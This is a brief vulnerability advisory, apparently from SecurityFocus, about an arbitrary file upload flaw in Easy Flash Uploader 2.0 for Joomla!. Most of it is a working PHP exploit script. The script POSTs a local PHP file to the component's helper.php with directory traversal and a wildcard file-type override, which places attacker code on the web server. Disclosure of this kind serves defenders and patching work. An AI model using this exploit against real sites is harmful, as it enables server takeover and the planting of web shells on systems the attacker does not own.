source: https://www.securityfocus.com/bid/53977/info
The Easy Flash Uploader component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately sanitize user-supplied input.
An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process.
Easy Flash Uploader 2.0 is vulnerable; other versions may also be affected.
<?php
$uploadfile="lo.php";
$ch =
curl_init("http://www.example.com/plugins/content/efup_files/helper.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'JPATH_BASE'=>'../../../',
'filesize'=>'2000',
'filetypes'=>'*.*',
'mimetypes'=>"*",
'destination'=>'./'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>
